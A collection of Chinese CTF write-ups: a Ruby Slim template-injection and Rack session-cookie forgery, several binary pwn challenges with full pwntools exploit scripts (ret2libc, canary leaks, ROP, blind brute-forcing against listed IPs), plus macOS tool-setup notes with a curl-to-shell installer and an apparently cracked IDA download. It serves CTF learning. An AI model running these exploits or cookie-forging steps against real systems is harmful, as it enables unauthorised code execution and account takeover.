在google上搜索相关内容。可知slim的模板标记符是#{}

测试成功

接下来就是找一找ruby如何执行命令

反引号，system都被过滤了。最后找到#{ %x|env| }

可见有环境变量FLAG但是内容是假flag==

ls

没有命令被过滤，可以任意执行。

读网站源码webserver.rb



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130

require 'sinatra'
require 'slim'
require 'sqlite3'

# don't minify HTML
Slim::Engine.set_options pretty: true

configure do
  set :public_folder, 'public'
  set :views, 'views'
  set :bind, '0.0.0.0'
  set :port, 9999
  enable :sessions
  set :server, %w[thin webrick]
  set :environment, :production
  #set :environment, :development
  #disable :protection
  set :session_secret, '01344904559362f6f5754df256908476702c8bd5d972a32e2fae2a7cc6fa4a7efd25079fddb5a11a0f8be0f607bf048fd6ecfe065380c27b2aa26015c3308e85'
end

def authenticate!
  unless session[:username]
    redirect to('/login')
  end
end

### Create DB ###
# db = SQLite3::Database.new 'database.db'
# Create a table
# rows = db.execute <<-SQL
#   create table users (
#     username varchar(20),
#     password varchar(20),
#     role varchar(20)
#   );
# SQL
# Add demo account
# db.execute('INSERT INTO users (username, password, role) 
#             VALUES (?, ?, ?)', ['demo', 'demo', 'user'])
# db.close

get '/' do
  authenticate!
  redirect to('/home')
end

get '/login' do
  @message = params['message']
  @hide = 'hidden' if params['message'].nil?
  slim :login
end

post '/auth' do
  # Open a database
  db = SQLite3::Database.new 'database.db', {readonly: true}
  user = params['username']
  pass = params['password']
  query = "SELECT username, password, role FROM users WHERE username='#{user}' AND password='#{pass}';"
  rows = db.execute(query)
  db.close
  unless rows.empty?
    username, password, role = rows.first
    session.clear
    session[:username] = username
    session[:role] = role
    redirect to('/home')
  else
    sleep 0.1
    message = '错误的凭证!'
    redirect to("/login?message=#{message}") 
  end
end

post '/register' do
  sleep 0.1
  message = '不可注册!'
  redirect to("/login?message=#{message}") 
end

get '/home' do
  authenticate!
  @user = session[:username]
  @flag = ENV['FLAG'] if session[:role] == 'admin'
  slim :home
end

get '/logout' do
  session.clear
  message = '你已经退出登录啦.'
  redirect to("/login?message=#{message}") 
end

post '/id' do
  authenticate!
  unless params['message'].nil?
    id = params['message'].unpack('H*').first
    redirect to("/id/#{id}")
  else
    redirect to('/home') 
  end
end

# Bad code
get '/id/:id' do
  authenticate!
  message = [params['id']].pack('H*')
  # Filesystem is mounted in readonly so RCE is not so much a problem
  # but I prefer people to the the secret with the elegant solution
  # Sinatra::Application.settings.session_secret
  # rather than by reading the code source. So let's put a little, certainly not
  # unbreakable, blacklist.
  blacklist_methods = /`|exec|foreach|fork|load|method_added|open|read(?!line$)|require|set_trace_func|spawn|syscall|system|base64|pack/
  blacklist_classes = /(?<!True|False|Nil)Class|Module|Dir|File|ObjectSpace|Process|Thread|IO/
  blacklist_chars = /\(|\)|\[|\]/
  if blacklist_methods.match?(message) || blacklist_classes.match?(message) || blacklist_chars.match?(message)
    message = '不对哦, 在试试吧！.'
  end
  # SSTI
  template = File.read('views/id.slim').gsub('@@@REPLACE@@@', message)
  Slim::Template.new{ template }.render
end

=begin
# Good code
get '/id/:id' do
  authenticate!
  @message = [params['id']].pack('H*')
  slim :index
end
=end

找到身份验证的代码，发现这还是从环境变量里取出的FLAG。

翻了翻目录也没找到，突然注意到题目说的是

题目提到了两颗红宝石，也就是说两个环境是出题人准备的，想到可能是要我们拿demo的源码打flag环境。

因为不会ruby，猜是session中的role字段要改成admin

参考Cookie篡改

rack_seesion的组成有两部分，前半部分是由ruby的Marshal.dump生成的序列化字符串，后半部分是签名

前半部分是base64加密过的，url decode后直接base64解密就可以了。接着再用Marshal.load加载为对象

结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

require "uri"

require 'pp'

require 'base64'

url="http://39.96.91.106:8231"

secret_key="01344904559362f6f5754df256908476702c8bd5d972a32e2fae2a7cc6fa4a7efd25079fddb5a11a0f8be0f607bf048fd6ecfe065380c27b2aa26015c3308e85"

decoded = Base64.decode64("
BAh7CkkiDXVzZXJuYW1lBjoGRUZJIgluMHAzBjsAVEkiCXJvbGUGOwBGSSIJ
dXNlcgY7AFRJIg9zZXNzaW9uX2lkBjsAVEkiRWQ0YmU0YTU5ODAzMDc3NjY3
YzY4MzJkODhmZjExOTZlYWVhMTFmMTEwODdjODkzYTdlOGE0YzIyYTA1OTQ0
NjUGOwBGSSIJY3NyZgY7AEZJIjFFenJPU3poSzBuMWZsVDZRdS93OWdnSCsy
SzFpcGxnUnlteFFQejZzWnM4PQY7AEZJIg10cmFja2luZwY7AEZ7BkkiFEhU
VFBfVVNFUl9BR0VOVAY7AFRJIi00NzExZTRhOTI3OGQyOTMyY2IzMjZmYzBj
MmVhODBiYzJjMDcyZDJhBjsARg==
")
object = Marshal.load(decoded)
pp object

发现role字段。

1
2
3
4
5
6
7
8
9
10

# create new session
object["username"] = 'n0p3'
object["role"]='admin'
pp object
# new cookie:
nc =Base64.encode64(Marshal.dump(object)) 
ns = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new,secret_key, nc) 
newcookie = URI.encode(nc).gsub("=","%3D")+"--"+ns
#pp object
pp newcookie

生成新cookie

Nice。

这次依然是只看pwn,只看了一题，其他两题是堆，干脆就没看。

echo sever

连接题目，一共有两次输入，第一次输入名字的长度，第二次输入名字。

拖进ida

主函数没什么东西，调用了函数sub_4006d2，跟踪看一下

输入的名字长度被传进了函数sub_4006A7,继续跟踪

可以看到我们输入的名字长度被作为了read函数的读入字符长度，所以读入长度我们可控，只要我们输入的长度够大，就可以造成栈溢出。

但是由于函数中并没有现成的shellcode，所以这题是ret2libc。第一次遇到64位的ret2libc题目，并且用到了一个以前没有用过的工具，ROPgadget。

exp

与x86不同，x64的程序传参时，会先把参数按顺序放进rdi, rsi, rdx, rcx, r8, r9这6个寄存器里去，然后多出来的参数才会通过栈传递。我们在进行ROP时，要先传参，再调用函数。

line 16～line 19在构造第一个payload，目的是利用printf函数输出read函数的got地址。先把第一个参数“%s”pop进rdi，再把read_got pop进rsi，之后调用printf就可以得到read函数的地址了。

那么怎样去执行pop rdi和pop rsi呢？就是直接在程序中寻找现有的小片段。

利用ROPgadget就可以便捷的查询到想要的gadgets。可以看到，没有单独的pop rsi可以用，这也就是为什么payload里传递第二个参数时多pop了一个0，就是为了填充r15寄存器，无论写多少都可以。每个小片段最后都是ret，所以我们可以做到一个小片段结束接着另一个小片段继续执行。构造的ROP链就是payload。printf用到的参数也都是利用ROPgadget寻找到的，非常方便。

在line 23多接收了3个字节，这是观察得来的。一般程序运行时的实际地址是7f开头的，根据这个向后推移找到了正确的地址。这个7f大概是电脑运行时分配给应用程序的地址开头（最高位），所以我们在接收地址时应当只取前六位，然后在最高位补00。（我们从二进制文件里取出的地址最高位是00，如果不只取前六位的话计算会出现错误）

在line 32注释了一个地址，这个地址指向的是一个单独的ret指令。我们在打远程的时候需要多跳转一次ret。这是由于程序源代码中，定义的函数返回值类型是void导致的。如果不多跳转一次程序会崩溃，在远程的情况下，程序崩溃我们就得不到回显，所以打远程要多跳转一次，本地不用。

通过这道题真的学到了许多。其中的一些细节问题多谢不会修电脑师傅的耐心解答

Mac Pwn实在是不够香，还是虚拟机好用！

Catalina给我造成了相当多的麻烦，于是便记录一下过程

安装Pwntools

首先，不要使用pip！

网上安装pwntools的教程中最多的就是pip安装，官网上的安装介绍也是pip安装。但是我们使用MacOS的homebrew来安装。

如果你没有安装homebrew，执行下面的自动脚本

/bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)"

直接在终端输入回车根据提示执行即可。

homebrew就安装好了。

执行brew install pwntools 安装pwntools

再执行brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-amd64.rb 安装二进制工具binutils

安装binutils时你可能会遇到443报错，这是由于众所周知的原因导致raw.githubusercontent.com的DNS解析被污染了。

Step 1: 访问这个网站https://www.ipaddress.com/去查询raw.githubusercontent.com

的真实ip地址。

Step 2: 添加到/etc/hosts中

完成之后应该就可以下载了。

然后要把pwntools包加入到python环境里

在/Library/Python/2.7/site-packages中新建一个.pth文件然后写入

1

/usr/local/Cellar/pwntools/4.0.1_1/libexec/lib/python3.8/site-packages 

这一行需要自己看情况写，pwntools版本和python版本可能会不同

然后就可以测试基本功能了。

测试都OK

IDA

ida在Major版本上很好安装，但是网上现有的所有的安装包都无法在Catalina上安装。解决办法大致是 安装Major虚拟机，再安装旧版ida，打补丁拷贝目录到Catalina。实际操作起来有很多问题且很麻烦，于是我直接打包好了Catalina可用的dmg。

Ida for Catalina

密码 n0p3.top，记得不要更新。

参加了2020的虎符ctf，因为最近在学pwn，其他题目也就没有看，最后只解出一道pwn题。真的是太菜了，等着学习大师傅们的wp吧。

count

只有这道题是在出wp之前做出的。

连接题目返回一个算式，要求通过200关。看起来不像pwn题，猜测可能是输入的地方存在漏洞。

拖进ida，发现好像汇编有点奇怪，不是平时常见架构的程序。

发现sub_400990是main函数

阅读代码，随机生成4个在0～99的整数，要求用户输入line 38的计算结果，连续输入正确200次后就会调用一个read函数，共度入100个字节，然而v8只有78个字节，所以这里存在栈溢出漏洞。紧接着下面有一个if，判断v9是否等于304305682，如果等于讲调用函数sub_400920,看一下这个函数

直接就get shell。

所以我们的攻击思路就是，先完成200关的计算任务，最后利用栈溢出覆盖v9的值，使if成立即可。

exp如下

因为不会正则，只能手动分离4个数字了orz

执行

[以下为赛后Pwn题复现]

fogot

nc连接题目

阅读文本，这个程序大概是一个检查邮箱格式是否合法的程序。

拖进ida分析

分两部分来看main函数，前半部分有数个函数指针，指向的是很多个只输出一条文本的函数。，接着用户的两次输入，可以看到有两处溢出，溢出点分别在33行和41行。继续看下半部分。

有一段代码，解读一下就是在对我们第二次输入的邮箱地址进行逐个字符的分析，当找到‘@’时，就继续寻找‘.’，中间如果有没能找到的关键字符就执行不同的提示函数，前一段的数个函数指针指向的就是不同的提示函数。每完成一个要求v14就加1，最后调用不同的函数。

看一下栈

我们输入的邮箱地址程序里又正好给了可以getflag的函数，所以我们的攻击思路就是，利用溢出漏洞覆盖某个函数指针指向的函数为目标函数，然后满足代码条件使它执行。

我选了v12函数指针，exp如下

‘a@a.comm’最后会调用v12，后面的部分覆盖v12指向的函数。

Mary_Morton

连接题目看一下

可以选择攻击方式，栈溢出或者格式化字符串，但是这道题真的是想考察这两个知识而已吗？

拖进ida分析

可以看出程序有canary保护

main函数就是让用户选择，然后调用不同的函数的，主要看sub_4008EB和sub_400960

sub_4008EB

如题目所说，确实存在一个格式化字符串漏洞，再去看sub_400960

同样也真的存在一个栈溢出漏洞，那我们的攻击思路就有了：

先利用格式化字符串漏洞得到canary的值，再利用栈溢出漏洞构造rop链调用flag函数。canary的位置，首先计算步长，也就是printf取参数指针到buf的距离，测试得出是6，再加上buf到v2的距离0x90-0x8=0x88(十进制17)，所以17+6=23

exp如下

花了我最长时间的地方居然是处理接收到的canary值，很多写法都莫名报错，最后这样写是可以的。

pwn-200

*这题用到pwntools的一个功能DynELF

nc连接只有一次输出一次输入，拖进ida分析

定义了很多变量，但是也没用到，调用了sub_8048484

很明显在line 6存在栈溢出漏洞，但是没有system函数，也没有shellcode，所以要用到DynELF。（libcSearch也是查找libc用的，但是我并没有用过）

exp如下

在使用DynELF的功能前需要先设定一个dyn对象，在line 12，第一个参数指定leak地址用的函数，第二个参数是目标程序。

DynELF的lookup函数就是利用我们写的leak函数来循环爆破寻找system的地址，leak函数有一定的格式。

shellcode可以通过一段可用的bss段储存

exp逻辑不复杂，但是要注意堆栈的恢复和一些细节。

Pwn-100

*这道题花了很长时间，主要花时间在想用DynELF做，到最后也没有写出来，还是用LibcSearcher解了。

链接看一下，直接有输入，一直输一直输，要很长才会输出一个bye～，ida看一下

主函数没东西，跟踪到40068E看一下

声明了一个v1，调用40063D，注意传参传了一个200，继续看

一个执行200次的循环，循环体是一个只读入1个字节的read，显然这里存在溢出。

exp：

第16行为什么这样写，需要自己去调试出来。

LibcSearcher和Ropgadget真好用。

反应釜开关控制

有故事背景，还有多层的代码，感觉是个好玩的题，结果一看发现就是简单的栈溢出

非常简单，看了官方wp发现这原来是一道盲打。emmm，果然是道好题。

pwn1

*因为期末导致一段时间没有做pwn了，拿这道题找找感觉

题目描述没有过多信息，看题。

64位。

三个选项，1.储存，2.打印，3.退出

看main函数

s的大小是0x80个字节，read却可以读取0x100个字节，存在很明显的溢出。但是有canary保护所以我们首先要泄漏canary。之前利用过格式化字符串泄漏canary，这次要利用puts函数的特性来泄漏。

puts函数只有遇到空字节才会停止输出，即使是0a（换行）也不会停止。canary的第一个字节是空字节，所以puts不会把canary输出，我们只要溢出覆盖掉canary的第一个字节就可以把canary泄漏出来了。

s距离canary 0x88个字节，要覆盖掉canary的首位就构造一个0x89个字符的payload。

payload=0x85*'a'+'N0P3'

获得canary之后就可以进一步泄漏库函数地址计算offset了。

payload=0x84*'a'+'N0P3'+p64(canary)+'b'*0x8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(start_addr)

小片段是通过ROPgadget找到的。

获得offset之后就可以按照一般的ret2libc方法get shell了。但是这里对payload的长度有限制（0x100），所以用one_gadget来解。

最后的payload

payload=0x84*'a'+'N0P3'+p64(canary)+'b'*0x8+p64(GetShell)

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

#coding=utf-8
from pwn import*
context.log_level='debug'
res=remote('220.249.52.133',36024)
elf=ELF('./babystack')
libc=ELF('./libc-2.23.so')
res.recvuntil('>> ')
payload=0x85*'a'+'N0P3'
res.send('1')
res.send(payload)
#res.recv()不知道为什么不需要接收
res.recvuntil('>> ')
res.send('2')
canary_raw=res.recvuntil('\n---')
canary=u64('\x00'+canary_raw[137:137+7])#得到canary(canary的高位被我们覆盖了，补一个）
print('Get Canary!')
#--------------------------------------------------------
#ROPgadget --binary babystack --only "pop|ret"|grep "rdi"
start_addr=0x400720
pop_rdi=0x400a93
puts_got=elf.got['puts']
puts_plt=0x400690
payload=0x84*'a'+'N0P3'+p64(canary)+'b'*0x8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
res.send('1')
res.send(payload)
res.recv()#需要接收一次空
res.recvuntil('>> ')
res.send('3')
puts_got=u64(res.recv(6).ljust(8,'\x00'))
print('Get Puts_Got!')
#--------------------------------------------------------
#One_gadget 
shell= 0x45216
puts_libc=libc.symbols['puts']
offset=puts_got-puts_libc
GetShell=offset+shell
payload=0x84*'a'+'N0P3'+p64(canary)+'b'*0x8+p64(GetShell)
res.send('1')
res.send(payload)
#res.recv()不知道为什么不需要接收
res.recvuntil('>> ')
res.send('3')
res.interactive()

在ida的伪代码的36行有一个sub_400826函数，是puts的再封装，无额外代码。但是这个函数却存在“失效”的现象。理论上在exp每次发送完payload后都应该接收一次空，再接收主界面字符串。但是经过测试只有第二次payload发送后才需要。具体原因未知，麻烦大佬路过解释指点一下。

stack2

*终于遇到了必须动调的题目了

看一下程序的情况

32位的，并且有canary保护，估计又要绕过canary了。

程序是一个平均数计算器。

3号更换数字功能没有对用户输入的位置进行检查，存在数组越界漏洞。这个漏洞意味着我们可以对从数组的首地址开始到低地址方向上的所有数据进行更改。

那么我们就可以直接绕过canary以“合法”的方式修改返回地址，构造rop。

在函数列表里有一个函数hackhere，直接开了bash。那么我们似乎只要调用这个函数就可以了。接下来就是最重要的找偏移，从数组首地址到返回地址的距离是多少。起初我是以ida静态分析的栈来算的，得到的是0x74。怎么都不对，后来看了其他师傅的wp发现原来程序实际运行时的偏移不一样。

所以我们要动态调试一下。

我在line 30下了断点，因为此处会向数组存储数据，第一次存储数据时的eax的值就是数组的首栈地址。

程序到达断点，输入一个9

看到高亮行正要向eax指向的栈地址放入数据，数据正是我们刚刚输入的9。

记录一下此时的eax ,0xFFEF2258。找到数组首地址后我们就要找函数的返回地址了。当程序执行ret的时候，esp一定是指向返回地址的。所以我们在主函数的return 0处下断点，选择5，退出程序。

此时esp指向0xFFEF22DC，大地址减去小地址就得到了正确偏移0x84。（这两个地址的寻找一定要在一次调试中找出来，因为栈地址是随机的）

算出了偏移我们就可以进行攻击了，但是直接调用hackhere函数并不可以，因为目标主机上并没有bash，所以我们要利用/bin/bash的后两文起一个sh，构造简单的rop。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

from pwn import*
res=remote('220.249.52.133',30504)
context.log_level = 'debug'
res.recvuntil('have:\n')
res.sendline('1')
res.recv()
res.sendline('9')
def change(posite,num):
	res.recvuntil('exit\n')
	res.sendline('3')
	res.recvuntil('which number to change:\n')
	res.sendline(str(posite))
	res.recvuntil('new number:\n')
	res.sendline(str(num))
change(0x84, 0x50)
change(0x85, 0x84)
change(0x86, 0x04)
change(0x87, 0x08)
change(0x8c, 0x87)
change(0x8d, 0x89)
change(0x8e, 0x04)
change(0x8f, 0x08)
res.sendline('5')
res.interactive()

前四个change是调用system函数，后四个是传入参数”sh”。

虽然查到的保护机制并没有开启PIE，但是栈地址仍然是随机的。程序运行起来看到的才是真阿。

warmup

*简单的盲打

第一次认真做盲pwn，之前在比赛中尝试过但没有做出，相比之下这道题确实比较简单。

nc看一下

给了我们一个地址，应该是执行这个函数就能get shell。

盲pwn，输了%d测试没有格式化字符串漏洞，估计就是栈溢出了。

暴破exp：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

from pwn import*
Target=0x40060d
#context.log_level='debug'
def Attack(PaddingLen,bit):
    try:
        res=remote("220.249.52.133",39150)
        res.recvuntil('>')
        if bit==32:
            payload='a'*PaddingLen+p32(Target)
        else:
            payload='b'*PaddingLen+p64(Target)
        res.sendline(payload)
        ret=res.recv()
        if len(ret)>0:
            print(ret)
        else:
            res.interactive()
    except:
        res.close()
   print("Go on")
for i in range(100):
    Attack(i,32)
    Attack(i,64)
print("Finish")

每次攻击都会测试32位与64位。exp写的太烂，出flag也不会停下。

flag夹杂在中间。期间还返回过奇怪的“-Warm up-”字符串，由于没有程序不知为何。

welpwn

*这是一道很棒的pwn题，就如它的名字一样。

看一下保护机制

64位的程序。

读取了0x400字节到buf，没有溢出。继续看echo函数。

可以看到刚才我们输入到字符串被拷贝进了s2，拷贝结束后最后一位改成0。但是s2仅仅只有16字节长而已，显然存在溢出。当时误以为这是一个类似【stack2】的题，简单构造了一个rop链最后多加一个用于归零的字符。并不可以。后来发现原来在拷贝时遇到\x00时就会停止，可是我们两个地址之间必有\x00。也就是说我们最多只能执行ret到一个地址。怎么利用呢？

在这里下个断点，gdb看一下。

可以看到我们输入的字符串在fc0，经过拷贝到了fa0，两者间的距离是0x20。

知道了buf是紧邻返回地址的，我们就可以构造一个巧妙的rop链。大概的思路是：我们写好padding溢出后加上一个可以pop 0x20个字节的gadget（下面称为pop20）后面跟上正常的rop链。这样为什么可行呢？拷贝结束后s2只有从padding到pop20的payload，而buf是完整的。程序溢出后返回地址被覆盖成pop20，执行后紧邻的buf会被pop 0x20个字节，也就是从padding到pop20都被pop了，所以紧接着的后半段payload就可以正常执行了。

不得不说pwn真是太益智了。

这个pop20可以通过Ropgadget来找

第一个就正好。4*8=32（0x20）。就算没有找到也没关系，可以多个pop连在一起实现。

exp：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

from pwn import*
from LibcSearcher import*
res=remote("220.249.52.133",59879)
context.log_level='debug'
elf=ELF('./pwn')
start=elf.symbols['_start']
write_plt=elf.plt['write']
write_got=elf.got['write']
clean_padding=0x40089c#pop 0x20byte
pop_rdi=0x4008A3
pop_rsi_r15=0x4008a1
payload='a'*0x10+'b'*0x8+p64(clean_padding)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(start)
res.recvuntil('RCTF\n')
res.sendline(payload)
write_got=res.recv(8)
write_got=u64(write_got)
print(hex(write_got))
Searcher=LibcSearcher('write',0x2b0)
offset=write_got-Searcher.dump("write")
system=Searcher.dump("system")+offset
binsh=Searcher.dump("str_bin_sh")+offset
res.recvuntil('RCTF\n')
payload='a'*0x10+'b'*0x8+p64(clean_padding)+p64(pop_rdi)+p64(binsh)+p64(system)
res.sendline(payload)
res.interactive()

这道题还有非常坑的一点，puts函数和printf函数失效，看来还是用write来泄漏地址最稳定。

*学到许多阿。pwn真是太益智了。